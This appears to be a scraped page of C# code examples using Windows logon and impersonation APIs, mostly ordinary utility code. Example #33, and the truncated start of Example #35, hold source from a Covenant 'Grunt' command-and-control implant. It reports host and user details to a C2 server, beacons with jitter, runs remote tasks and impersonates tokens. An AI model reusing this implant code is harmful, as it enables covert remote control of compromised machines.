                            foreach (string s in scriptParameters.Keys)
                            {
                                shell.AddParameter(s, scriptParameters[s]);

                                scriptParams.AppendFormat(CultureInfo.InvariantCulture, "-{0} '{1}' ", s, scriptParameters[s]);
                            }
                        }
                        else if (scriptArguments != null)
                        {
                            foreach (object o in scriptArguments)
                            {
                                shell.AddArgument(o);
                                scriptParams.AppendFormat(CultureInfo.InvariantCulture, "'{0}' ", o);
                            }
                        }

                        if (this.InputType != PowerShellInputType.None)
                        {
                            Logger.Instance.WriteVerbose(EventIdentifier.RunPowerShellScriptRunScript, "The PowerShell script parameters are: '{0}'.", scriptParams);
                        }

                        // Execute the script and identify if any errors occurred
                        // In most circumstances, errors will not be raised as exceptions but will instead
                        // be presented in the Error collection for the PowerShell instance
                        Collection <PSObject> results;

                        try
                        {
                            results = shell.Invoke();
                        }
                        catch (Exception ex)
                        {
                            throw Logger.Instance.ReportError(EventIdentifier.RunPowerShellScriptRunScriptInvocationError, new WorkflowActivityLibraryException(Messages.RunPowerShellScript_ScriptInvocationError, ex, ex.Message));
                        }

                        if (shell.Streams.Error.Count == 0)
                        {
                            if (this.ReturnType == PowerShellReturnType.None)
                            {
                                return(null);
                            }

                            if (results != null && results.Count == 1)
                            {
                                return(results[0].BaseObject);
                            }

                            if (results == null || results.Count < 1)
                            {
                                return(null);
                            }

                            // If multiple values were found for the lookup, verify that they are of a consistent type
                            Type type           = null;
                            bool consistentType = true;
                            foreach (PSObject pso in results)
                            {
                                if (type == null)
                                {
                                    type = pso.BaseObject.GetType();

                                    Logger.Instance.WriteVerbose(EventIdentifier.RunPowerShellScriptRunScript, "The PowerShell script returned type: '{0}'.", type);
                                }
                                else if (pso.BaseObject.GetType() != type)
                                {
                                    consistentType = false;
                                    Logger.Instance.WriteError(EventIdentifier.RunPowerShellScriptRunScriptInconsistentScriptReturnTypeError, Messages.RunPowerShellScript_InconsistentScriptReturnTypeError, pso.BaseObject.GetType(), type);
                                }
                            }

                            // If we have multiple values of an inconsistent type, there is a problem
                            // which needs to be addressed by the administrator
                            if (!consistentType)
                            {
                                throw Logger.Instance.ReportError(EventIdentifier.RunPowerShellScriptRunScriptInconsistentScriptReturnTypeError, new WorkflowActivityLibraryException(Messages.RunPowerShellScript_InvalidReturnTypeError));
                            }

                            // Because we have multiple values returned for the PowerShell script,
                            // we want to return them in the form of a strongly-typed list
                            // For example: List<string> instead of List<object>
                            // Use reflection to create a new strongly-typed list
                            Type listType  = typeof(List <>).MakeGenericType(new Type[] { type });
                            var  typedList = Activator.CreateInstance(listType);

                            // Using reflection, fetch the add method for the new list
                            // and invoke it to add each value from the original PSobject collection to the new collection
                            // Return the strongly-typed list
                            MethodInfo add = listType.GetMethod("Add");
                            foreach (PSObject pso in results)
                            {
                                add.Invoke(typedList, new object[] { pso.BaseObject });
                            }

                            return(typedList);
                        }

                        StringBuilder message = new StringBuilder();
                        message.AppendFormat(Messages.RunPowerShellScript_ScriptExecutionFailedError, shell.Streams.Error.Count);
                        foreach (ErrorRecord error in shell.Streams.Error)
                        {
                            message.AppendFormat("{0}\n", error);
                        }

                        throw Logger.Instance.ReportError(EventIdentifier.RunPowerShellScriptRunScriptExecutionFailedError, new WorkflowActivityLibraryException(message.ToString()));
                    }
                }
            }
            catch (Exception ex)
            {
                throw Logger.Instance.ReportError(EventIdentifier.RunPowerShellScriptRunScriptExecutionFailedError, ex);
            }
            finally
            {
                if (context != null)
                {
                    context.Undo();
                }

                if (logOnUser != null)
                {
                    logOnUser.Dispose();
                }

                Logger.Instance.WriteMethodExit(EventIdentifier.RunPowerShellScriptRunScript);
            }
        }
Example #22
0
        private IList <IActivityIOPath> ListDirectoriesAccordingToType(IActivityIOPath src, ReadTypes type)
        {
            IList <IActivityIOPath> result = new List <IActivityIOPath>();

            string path = src.Path;

            if (!path.EndsWith("\\") && PathIs(src) == enPathType.Directory)
            {
                path += "\\";
            }

            if (!RequiresAuth(src))
            {
                try
                {
                    IEnumerable <string> dirs;

                    if (!Dev2ActivityIOPathUtils.IsStarWildCard(path))
                    {
                        if (Directory.Exists(path))
                        {
                            dirs = GetDirectoriesForType(path, string.Empty, type);
                        }
                        else
                        {
                            throw new Exception(string.Format(ErrorResource.DirectoryDoesNotExist, path));
                        }
                    }
                    else
                    {
                        // we have a wild-char path ;)
                        string baseDir = Dev2ActivityIOPathUtils.ExtractFullDirectoryPath(path);
                        string pattern = Dev2ActivityIOPathUtils.ExtractFileName(path);

                        dirs = GetDirectoriesForType(baseDir, pattern, type);
                    }

                    if (dirs != null)
                    {
                        foreach (string d in dirs)
                        {
                            result.Add(ActivityIOFactory.CreatePathFromString(d, src.Username, src.Password, true, src.PrivateKeyFile));
                        }
                    }
                }
                catch (Exception)
                {
                    throw new Exception(string.Format(ErrorResource.DirectoryNotFound, src.Path));
                }
            }
            else
            {
                try
                {
                    // handle UNC path
                    SafeTokenHandle safeTokenHandle;
                    bool            loginOk = LogonUser(ExtractUserName(src), ExtractDomain(src), src.Password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);

                    if (loginOk)
                    {
                        using (safeTokenHandle)
                        {
                            WindowsIdentity newID = new WindowsIdentity(safeTokenHandle.DangerousGetHandle());
                            using (WindowsImpersonationContext impersonatedUser = newID.Impersonate())
                            {
                                // Do the operation here

                                try
                                {
                                    IEnumerable <string> dirs;

                                    if (!Dev2ActivityIOPathUtils.IsStarWildCard(path))
                                    {
                                        dirs = GetDirectoriesForType(path, string.Empty, type);
                                    }
                                    else
                                    {
                                        // we have a wild-char path ;)
                                        string baseDir = Dev2ActivityIOPathUtils.ExtractFullDirectoryPath(path);
                                        string pattern = Dev2ActivityIOPathUtils.ExtractFileName(path);

                                        dirs = GetDirectoriesForType(baseDir, pattern, type);
                                    }

                                    if (dirs != null)
                                    {
                                        foreach (string d in dirs)
                                        {
                                            result.Add(ActivityIOFactory.CreatePathFromString(d, src.Username, src.Password, src.PrivateKeyFile));
                                        }
                                    }
                                }
                                catch (Exception)
                                {
                                    throw new Exception(string.Format(ErrorResource.DirectoryNotFound, src.Path));
                                }

                                // remove impersonation now
                                impersonatedUser.Undo();
                                newID.Dispose();
                            }
                        }
                    }
                    else
                    {
                        // login failed
                        throw new Exception(string.Format(ErrorResource.FailedToAuthenticateUser, src.Username, src.Path));
                    }
                }
                catch (Exception ex)
                {
                    Dev2Logger.Error(ex);
                    throw;
                }
            }

            return(result);
        }
        public static void Main(string[] args)
        {
            SafeTokenHandle safeTokenHandle;

            try
            {
                string userName, domainName;
                //domainName = Console.ReadLine();
                domainName = ".";

                Console.Write("Enter the login of a user on {0} that you wish to impersonate: ", domainName);
                //provide username of remote machine.
                userName = Console.ReadLine();
                //provide password of remote machine.
                Console.Write("Enter the password for {0}: ", userName);

                //Here's the Catch
                //LOGON32_PROVIDER_WinNT50 = 3; and LOGON32_LOGON_NewCredentials = 9;
                const int LOGON32_PROVIDER_WinNT50 = 3;
                //This parameter causes LogonUser to create a primary token.
                const int LOGON32_LOGON_NewCredentials = 9;

                // Call LogonUser to obtain a handle to an access token.
                bool returnValue = LogonUser(userName, domainName, Console.ReadLine(),
                                             LOGON32_LOGON_NewCredentials, LOGON32_PROVIDER_WinNT50,
                                             out safeTokenHandle);

                Console.WriteLine("LogonUser called.");

                if (false == returnValue)
                {
                    int ret = Marshal.GetLastWin32Error();
                    Console.WriteLine("LogonUser failed with error code : {0}", ret);
                    throw new System.ComponentModel.Win32Exception(ret);
                }
                using (safeTokenHandle)
                {
                    Console.WriteLine("Did LogonUser Succeed? " + (returnValue ? "Yes" : "No"));
                    Console.WriteLine("Value of Windows NT token: " + safeTokenHandle);

                    // Check the identity.
                    Console.WriteLine("Before impersonation: "
                                      + WindowsIdentity.GetCurrent().Name);
                    // Use the token handle returned by LogonUser.
                    using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
                    {
                        using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
                        {
                            // Check the identity.
                            Console.WriteLine("After impersonation: "
                                              + WindowsIdentity.GetCurrent().Name);
                            //File.Copy(Source File,DestinationFile);
                            File.Copy(@"C:\\Sent.txt", @"\\192.168.xxx.xxx\\Suji\\Sent.txt", true);
                        }
                    }
                    // Releasing the context object stops the impersonation
                    // Check the identity.
                    Console.WriteLine("After closing the context: " + WindowsIdentity.GetCurrent().Name);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("Exception occurred. " + ex.Message);
            }
            Console.ReadLine();
        }
        /// <summary>
        /// ユーザ名・ドメイン・パスワードで偽装する。
        /// </summary>
        /// <param name="userName">ユーザ名</param>
        /// <param name="domain">ドメイン</param>
        /// <param name="password">パスワード</param>
        /// <param name="impersonationLevel">偽装レベル</param>
        /// <param name="errorInfo">エラー情報</param>
        /// <returns>
        /// ・true:成功
        /// ・false:失敗
        /// </returns>
        public bool ImpersonateValidUser(
            string userName, string domain, string password,
            SecurityWin32.SECURITY_IMPERSONATION_LEVEL impersonationLevel, out string errorInfo)
        {
            // エラー情報の初期化
            errorInfo = "";

            // ワーク
            WindowsIdentity tempWindowsIdentity;

            // トークンのハンドラ
            IntPtr token          = IntPtr.Zero;
            IntPtr tokenDuplicate = IntPtr.Zero;

            try
            {
                // クライアントアプリケーションによる偽装を終了。
                if (SecurityWin32.RevertToSelf())
                {
                    // RevertToSelf成功

                    // 偽装する。

                    // トークンハンドルを取得
                    if (SecurityWin32.LogonUserA(userName, domain, password,
                                                 LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, ref token) != 0)
                    {
                        // LogonUserA成功

                        // 偽装アクセストークンハンドルを作成
                        if (SecurityWin32.DuplicateToken(token, impersonationLevel, ref tokenDuplicate) != 0)
                        {
                            // DuplicateToken成功

                            // 偽装アクセストークンを使用して偽装する。
                            tempWindowsIdentity       = new WindowsIdentity(tokenDuplicate);
                            this.impersonationContext = tempWindowsIdentity.Impersonate();
                            if (this.impersonationContext != null)
                            {
                                // Impersonate成功
                                // 正常終了
                                return(true);
                            }
                            else
                            {
                                // Impersonate失敗
                                errorInfo = "Impersonate failed";
                            }
                        }
                        else
                        {
                            // DuplicateToken失敗
                            errorInfo = "DuplicateToken failed with " + Marshal.GetLastWin32Error();
                        }
                    }
                    else
                    {
                        // LogonUserA失敗
                        errorInfo = "LogonUserA failed with " + Marshal.GetLastWin32Error();
                    }
                }
                else
                {
                    // RevertToSelf失敗
                    errorInfo = "RevertToSelf failed with " + Marshal.GetLastWin32Error();
                }
            }
            finally
            {
                // 失敗(例外発生)時など。

                // トークンハンドル、
                // 偽装アクセストークンハンドルをクローズ
                if (token != IntPtr.Zero)
                {
                    CmnWin32.CloseHandle(token);
                }
                if (tokenDuplicate != IntPtr.Zero)
                {
                    CmnWin32.CloseHandle(tokenDuplicate);
                }
            }

            // 異常終了
            return(false);
        }
Example #25
0
        /// <summary>
        /// Method to determine whether a user has acces to a given URL
        /// </summary>
        /// <param name="url">Target URL</param>
        /// <param name="subject">account to be tested, in the form of username@domain</param>
        /// <returns>Permit|Deny|Intermediate</returns>

        public String GetPermission(String url, String subject)
        {
            Common.debug("inside AuthImpl::GetPermission");
            Common.debug("url=" + url);
            Common.debug("subject=" + subject);
            // Convert the user name from domainName\userName format to
            // userName@domainName format if necessary

            // The WindowsIdentity(string) constructor uses the new
            // Kerberos S4U extension to get a logon for the user
            // without a password.

            // Default AuthZ decision is set to "Deny"
            String status = "Deny";
            // Attempt to impersonate the user and verify access to the URL
            WindowsImpersonationContext wic = null;

            try
            {
                status = "before impersonation";
                Common.debug("before WindowsIdentity");
                // Create a Windows Identity
                WindowsIdentity wi = new WindowsIdentity(subject);
                if (wi == null)
                {
                    Common.error("Couldn't get WindowsIdentity for account " + subject);
                    return("Indeterminate");
                }
                Common.debug("name=" + wi.Name + ", authed=" + wi.IsAuthenticated);
                Common.debug("after WindowsIdentity");
                // Impersonate the user
                wic = wi.Impersonate();
                Common.debug("after impersonate");
                // Attempt to access the network resources as this user
                if (url.StartsWith("http"))
                {
                    status = GetURL(url, CredentialCache.DefaultCredentials);
                }
                else if (url.StartsWith("smb"))
                {
                    String file = url;
                    file   = file.Replace("smb://", "\\\\");
                    status = GetFile(file, wi);
                }
                else if (url.StartsWith("\\\\"))
                {
                    status = GetFile(url, wi);
                }
                else
                {
                    status = "Deny";
                }
                // Successfully retrieved URL, so set AuthZ decision to "Permit"
            }
            catch (SecurityException e)
            {
                Common.error("AuthImpl::caught SecurityException");
                // Determine what sort of exception was thrown by checking the response status
                Common.error("e = " + e.ToString());
                Common.error("msg = " + e.Message);
                Common.error("grantedset = " + e.GrantedSet);
                Common.error("innerException= " + e.InnerException);
                Common.error("PermissionState = " + e.PermissionState);
                Common.error("PermissionType = " + e.PermissionType);
                Common.error("RefusedSet = " + e.RefusedSet);
                Common.error("TargetSet = " + e.TargetSite);
                status = "Indeterminate";
                return(status);
            }
            catch (WebException e)
            {
                if (wic != null)
                {
                    wic.Undo();
                    wic = null;
                }
                Common.debug("AuthImpl::caught WebException");
                // Determine what sort of exception was thrown by checking the response status
                Common.debug("e = " + e.ToString());
                HttpWebResponse resp = (HttpWebResponse)((WebException)e).Response;

                if (resp != null)
                {
                    Common.debug("status = " + resp.StatusCode.ToString());
                }
                else
                {
                    Common.debug("response is null");
                    status = "Indeterminate";
                    return(status);
                }
                status = "Deny";
            }
            catch (UnauthorizedAccessException e)            //can't write to the log file
            {
                if (wic != null)
                {
                    wic.Undo();
                    wic = null;
                }
                Common.debug("caught UnauthorizedAccessException");
                Common.debug(e.Message);
                status = "Deny";
            }
            catch (Exception e)
            {
                if (wic != null)
                {
                    wic.Undo();
                    wic = null;
                }
                // Some undetermined exception occured
                // Setting the AuthZ decision to "Indeterminate" allows the GSA to use other
                // AuthZ methods (i.e. Basic, NTLM, SSO) to determine access
                Common.error("AuthImpl::caught exception");
                Common.error(e.Message);
                status = "Indeterminate, unknown exception, check ac.log";
            }
            finally
            {
                // Make sure to remove the impersonation token
                if (wic != null)
                {
                    wic.Undo();
                }
                Common.debug("exit AuthImpl::GetPermission::finally status=" + status);
            }
            Common.debug("exit AuthImpl::GetPermission return status=" + status);
            return(status);
        }
 /// <summary>
 /// Creates a new instance of <see cref="WindowsImpersonationContextWrapper"/>
 /// </summary>
 /// <param name="ctx"><see cref="WindowsImpersonationContext"/> to wrap (can be <c>null</c>)</param>
 /// <param name="notifyDispose"><see cref="Action"/> to call when this object is disposed</param>
 internal WindowsImpersonationContextWrapper(WindowsImpersonationContext ctx, Action notifyDispose)
 {
     _ctx           = ctx;
     _notifyDispose = notifyDispose;
     _disposed      = NOT_DISPOSED;
 }
Example #27
0
    public static string GetDigestUsingEncryptedSaltFile(string inputString, string locationOfFile)
    {
        // we'll use the digest string to return any errors that might crop up. This proc requires file system access, so SQL needs to be set up correctly and getting the place where the error occured might proove handy in debugging
        string digest = "Error: Pre Init";

        OpenPseudonymiser.Crypto crypto = new Crypto();
        FileStream fs = null;

        string PublicKey = @"<RSAKeyValue><Modulus>kcVhdr4DaGLAE2BUEPQSYTJ8JRw9NGsms45r2CEYKcElP4BUGEQnN9R4A8CMM1YZCqu5VbXvPoLZ9i/G8AL6g5YuD7MRTI60Xf930yHjCRNX2NiYX/FrKZrA6+T/GHoh9LjuZXBX75kwj53/8yP4uppW5pWRi/diDmPNrH4qnxk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>";

        WindowsImpersonationContext OriginalContext = null;

        try
        {
            digest = "Error: Init";
            //Impersonate the current SQL Security context
            WindowsIdentity CallerIdentity = SqlContext.WindowsIdentity;
            //WindowsIdentity might be NULL if calling context is a SQL login
            if (CallerIdentity != null)
            {
                digest          = "Error: Before Impersonation";
                OriginalContext = CallerIdentity.Impersonate();
                fs     = new FileStream(locationOfFile, FileMode.Open);
                digest = "Error: Before File Open";
                byte[] m_Bytes = ReadToEnd(fs);

                // we have to do the RSA encryption stuff here, rather than in the Crypto lib or SQL can't get a reference to the RSA assembly:
                // see NetRat's final workaround: http://stackoverflow.com/questions/5422158/could-not-load-file-or-assembly-or-one-of-its-dependencies-exception-from-hre
                digest = "Error: Before RSA Encryption";
                RSAEncryption myRsa = new RSAEncryption();
                myRsa.LoadPublicFromEmbedded(PublicKey);

                byte[] decryptMsg      = myRsa.PublicDecryption(m_Bytes);
                string unencryptedSalt = Encoding.UTF8.GetString(decryptMsg);

                digest = "Error: Before Plain Salt Set";
                digest = unencryptedSalt;
                crypto.SetPlainTextSalt(unencryptedSalt);
                // The input: a name/value pair
                var nameValue = new SortedList <string, string>();

                nameValue.Add("NHSNumber", inputString);

                // Call the GetDigest method and receive the digest.
                digest = crypto.GetDigest(nameValue);

                crypto = null;
            }
            else
            {
                fs = null;
            }
        }
        catch (Exception e)
        {
            //If file does not exist or for any problems with opening the file,
            // set filestream to null and return the error we caught
            digest = e.Message;
            fs.Close();
            fs = null;
        }
        finally
        {
            fs.Close();
            fs = null;
            //Revert the impersonation context; note that impersonation is needed only
            //when opening the file.
            //SQL Server will raise an exception if the impersonation is not undone
            // before returning from the function.
            if (OriginalContext != null)
            {
                OriginalContext.Undo();
            }
        }

        return(digest);
    }
Example #28
0
 public ImpersonationContext(IntPtr token)
 {
     _token = token;
     _impersonationContext = new WindowsIdentity(token).Impersonate();
 }
 /// <summary>
 /// Constructor
 /// </summary>
 /// <param name="impersonationContext">the impersonation context being wrapped</param>
 /// <remarks>
 /// <para>
 /// Constructor
 /// </para>
 /// </remarks>
 public DisposableImpersonationContext(WindowsImpersonationContext impersonationContext)
 {
     m_impersonationContext = impersonationContext;
 }
 internal OpcWindowsImpersonationContext(WindowsIdentity identity)
     : base()
 {
     this.identity             = identity;
     this.impersonationContext = this.identity.Impersonate();
 }
Example #31
0
        /// <summary>
        /// Creates site collection within predefined root web application.
        /// </summary>
        /// <param name="rootWebApplicationUri">Root web application uri.</param>
        /// <param name="siteCollection">Information about site coolection to be created.</param>
        /// <exception cref="InvalidOperationException">Is thrown in case requested operation fails for any reason.</exception>
        public void CreateSiteCollection(Uri rootWebApplicationUri, SharePointSiteCollection siteCollection)
        {
            WindowsImpersonationContext wic = null;

            try
            {
                wic = WindowsIdentity.GetCurrent().Impersonate();
                SPWebApplication rootWebApplication = SPWebApplication.Lookup(rootWebApplicationUri);
                string           siteCollectionUrl  = String.Format("{0}:{1}", siteCollection.Url, rootWebApplicationUri.Port);


                SPQuota spQuota;

                SPSite spSite = rootWebApplication.Sites.Add(siteCollectionUrl,
                                                             siteCollection.Title, siteCollection.Description,
                                                             (uint)siteCollection.LocaleId, String.Empty,
                                                             siteCollection.OwnerLogin, siteCollection.OwnerName,
                                                             siteCollection.OwnerEmail,
                                                             null, null, null, true);

                try
                {
                    spQuota = new SPQuota();

                    if (siteCollection.MaxSiteStorage != -1)
                    {
                        spQuota.StorageMaximumLevel = siteCollection.MaxSiteStorage * 1024 * 1024;
                    }

                    if (siteCollection.WarningStorage != -1 && siteCollection.MaxSiteStorage != -1)
                    {
                        spQuota.StorageWarningLevel = Math.Min(siteCollection.WarningStorage, siteCollection.MaxSiteStorage) * 1024 * 1024;
                    }
                }
                catch (Exception)
                {
                    rootWebApplication.Sites.Delete(siteCollectionUrl);
                    throw;
                }

                try
                {
                    rootWebApplication.GrantAccessToProcessIdentity(WindowsIdentity.GetCurrent().Name);
                    spSite.Quota = spQuota;
                }
                catch (Exception)
                {
                    rootWebApplication.Sites.Delete(siteCollectionUrl);
                    DeleteQuotaTemplate(siteCollection.Title);
                    throw;
                }

                rootWebApplication.Update(true);
            }
            catch (Exception ex)
            {
                HostedSolutionLog.LogError(ex);
                throw;
            }
            finally
            {
                if (wic != null)
                {
                    wic.Undo();
                }
            }
        }
Example #32
0
 /// <summary>
 /// Undoes the impersonation.
 /// </summary>
 /// <param name="ctx">The CTX.</param>
 public static void UndoImpersonation(WindowsImpersonationContext ctx)
 {
     ctx.Undo();
     ctx.Dispose();
 }
Example #33
0
        public static void Execute(string CovenantURI, string GUID, Aes SessionKey, TcpClient client)
        {
            try
            {
                int      Delay              = Convert.ToInt32(@"{{REPLACE_DELAY}}");
                int      Jitter             = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}");
                int      ConnectAttempts    = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}");
                DateTime KillDate           = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}"));
                string   ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n");
                string   ProfileReadFormat  = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n");

                string Hostname  = Dns.GetHostName();
                string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString();
                foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName()))
                {
                    if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
                    {
                        IPAddress = a.ToString();
                        break;
                    }
                }
                string OperatingSystem = Environment.OSVersion.ToString();
                string Process         = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
                int    Integrity       = 2;
                if (Environment.UserName.ToLower() == "system")
                {
                    Integrity = 4;
                }
                else
                {
                    var identity = WindowsIdentity.GetCurrent();
                    if (identity.Owner != identity.User)
                    {
                        Integrity = 3;
                    }
                }
                string UserDomainName = Environment.UserDomainName;
                string UserName       = Environment.UserName;

                string          RegisterBody  = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }";
                BridgeMessenger baseMessenger = new BridgeMessenger(CovenantURI, GUID, ProfileWriteFormat);
                baseMessenger.client = client;
                baseMessenger.stream = client.GetStream();
                TaskingMessenger messenger = new TaskingMessenger
                                             (
                    new MessageCrafter(GUID, SessionKey),
                    baseMessenger,
                    new Profile(ProfileWriteFormat, ProfileReadFormat, GUID)
                                             );
                messenger.QueueTaskingMessage(RegisterBody);
                messenger.WriteTaskingMessage();
                messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message);
                try
                {
                    // A blank upward write, this helps in some cases with an HTTP Proxy
                    messenger.QueueTaskingMessage("");
                    messenger.WriteTaskingMessage();
                }
                catch (Exception) { }

                List <KeyValuePair <string, Thread> > Tasks = new List <KeyValuePair <string, Thread> >();
                WindowsImpersonationContext           impersonationContext = null;
                Random rnd = new Random();
                int    ConnectAttemptCount = 0;
                bool   alive = true;
                while (alive)
                {
                    int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00)));
                    if (rnd.Next(2) == 0)
                    {
                        change = -change;
                    }
                    Thread.Sleep((Delay + change) * 1000);
                    try
                    {
                        GruntTaskingMessage message = messenger.ReadTaskingMessage();
                        if (message != null)
                        {
                            ConnectAttemptCount = 0;
                            string output = "";
                            if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts)
                            {
                                if (int.TryParse(message.Message, out int val))
                                {
                                    if (message.Type == GruntTaskingType.SetDelay)
                                    {
                                        Delay   = val;
                                        output += "Set Delay: " + Delay;
                                    }
                                    else if (message.Type == GruntTaskingType.SetJitter)
                                    {
                                        Jitter  = val;
                                        output += "Set Jitter: " + Jitter;
                                    }
                                    else if (message.Type == GruntTaskingType.SetConnectAttempts)
                                    {
                                        ConnectAttempts = val;
                                        output         += "Set ConnectAttempts: " + ConnectAttempts;
                                    }
                                }
                                else
                                {
                                    output += "Error parsing: " + message.Message;
                                }
                                messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
                            }
                            else if (message.Type == GruntTaskingType.SetKillDate)
                            {
                                if (DateTime.TryParse(message.Message, out DateTime date))
                                {
                                    KillDate = date;
                                    output  += "Set KillDate: " + KillDate.ToString();
                                }
                                else
                                {
                                    output += "Error parsing: " + message.Message;
                                }
                                messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
                            }
                            else if (message.Type == GruntTaskingType.Exit)
                            {
                                output += "Exited";
                                messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
                                messenger.WriteTaskingMessage();
                                return;
                            }
                            else if (message.Type == GruntTaskingType.Tasks)
                            {
                                if (!Tasks.Where(T => T.Value.ThreadState == ThreadState.Running).Any())
                                {
                                    output += "No active tasks!";
                                }
                                else
                                {
                                    output += "Task       Status" + Environment.NewLine;
                                    output += "----       ------" + Environment.NewLine;
                                    output += String.Join(Environment.NewLine, Tasks.Where(T => T.Value.ThreadState == ThreadState.Running).Select(T => T.Key + " Active").ToArray());
                                }
                                messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
                            }
                            else if (message.Type == GruntTaskingType.TaskKill)
                            {
                                var matched = Tasks.Where(T => T.Value.ThreadState == ThreadState.Running && T.Key.ToLower() == message.Message.ToLower());
                                if (!matched.Any())
                                {
                                    output += "No active task with name: " + message.Message;
                                }
                                else
                                {
                                    KeyValuePair <string, Thread> t = matched.First();
                                    t.Value.Abort();
                                    Thread.Sleep(3000);
                                    if (t.Value.IsAlive)
                                    {
                                        t.Value.Suspend();
                                    }
                                    output += "Task: " + t.Key + " killed!";
                                }
                                messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
                            }
                            else if (message.Token)
                            {
                                if (impersonationContext != null)
                                {
                                    impersonationContext.Undo();
                                }
                                IntPtr impersonatedToken = IntPtr.Zero;
                                Thread t = new Thread(() => impersonatedToken = TaskExecute(messenger, message));
                                t.Start();
                                Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t));
                                bool completed = t.Join(5000);
                                if (completed && impersonatedToken != IntPtr.Zero)
                                {
                                    try
                                    {
                                        WindowsIdentity identity = new WindowsIdentity(impersonatedToken);
                                        impersonationContext = identity.Impersonate();
                                    }
                                    catch (ArgumentException) { }
                                }
                                else
                                {
                                    impersonationContext = null;
                                }
                            }
                            else
                            {
                                Thread t = new Thread(() => TaskExecute(messenger, message));
                                t.Start();
                                Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t));
                            }
                        }
                        messenger.WriteTaskingMessage();
                    }
                    catch (ObjectDisposedException e)
                    {
                        ConnectAttemptCount++;
                        messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "").ToJson());
                        messenger.WriteTaskingMessage();
                    }
                    catch (Exception e)
                    {
                        ConnectAttemptCount++;
                        Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace);
                    }
                    if (ConnectAttemptCount >= ConnectAttempts)
                    {
                        return;
                    }
                    if (KillDate.CompareTo(DateTime.Now) < 0)
                    {
                        return;
                    }
                }
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace);
            }
        }
Example #34
0
        /// <summary>
        /// Impersonates the specified user account.
        /// </summary>
        /// <param name="userName">Name of the user.</param>
        /// <param name="domainName">Name of the domain.</param>
        /// <param name="password">The password. <see cref="System.String"/></param>
        /// <param name="logonType">Type of the logon.</param>
        /// <param name="logonProvider">The logon provider. <see cref="Mit.Sharepoint.WebParts.EventLogQuery.Network.LogonProvider"/></param>
        private void Impersonate(string NetworkLocation, string userName, string domainName, string password, LogonType logonType, LogonProvider logonProvider)
        {
            try
            {
                UndoImpersonation();

                /*
                 * if (userName.Contains("\\") || userName.Contains("/"))
                 * {
                 * string[] tokens = userName.Split(new char[] { '\\', '/' });
                 * if (tokens.Length != 2) throw new Exception("Expected user name to contain at most one / or \\ character.  User name: " + userName);
                 * if (domainName.Trim().Length != 0) throw new Exception("Cannot specify a / or \\ in user name when domain is also given.  User name: " + userName + "  Domain: " + domainName);
                 * domainName = tokens[0];
                 * userName = tokens[1];
                 * }
                 */

                IntPtr logonToken          = IntPtr.Zero;
                IntPtr logonTokenDuplicate = IntPtr.Zero;
                try
                {
                    // revert to the application pool identity, saving the identity of the current requestor
                    _wic = WindowsIdentity.Impersonate(IntPtr.Zero);

                    // do logon & impersonate
                    if (Win32NativeMethods.LogonUser(userName,
                                                     domainName,
                                                     password,
                                                     (int)logonType,
                                                     (int)logonProvider,
                                                     ref logonToken) != 0)
                    {
                        if (Win32NativeMethods.DuplicateToken(logonToken, (int)ImpersonationLevel.SecurityImpersonation, ref logonTokenDuplicate) != 0)
                        {
                            var wi = new WindowsIdentity(logonTokenDuplicate);
                            wi.Impersonate(); // discard the returned identity context (which is the context of the application pool)
                        }
                        else
                        {
                            ThrowSpecificException();
                        }
                    }
                    else
                    {
                        ThrowSpecificException();
                    }
                }
                finally
                {
                    if (logonToken != IntPtr.Zero)
                    {
                        Win32NativeMethods.CloseHandle(logonToken);
                    }

                    if (logonTokenDuplicate != IntPtr.Zero)
                    {
                        Win32NativeMethods.CloseHandle(logonTokenDuplicate);
                    }
                }
            }
            catch (Exception ex)
            {
                throw new IOException("Unable to access path:\n" + NetworkLocation + "\nAs username: "******"\nOn domain: " + domainName + "\nError: " + ex.ToString());
            }
        }
Example #35
0
        public static void Execute(string CovenantURI, string CovenantCertHash, string GUID, Aes SessionKey)
        {
            try
            {
                int           Delay                   = Convert.ToInt32(@"{{REPLACE_DELAY}}");
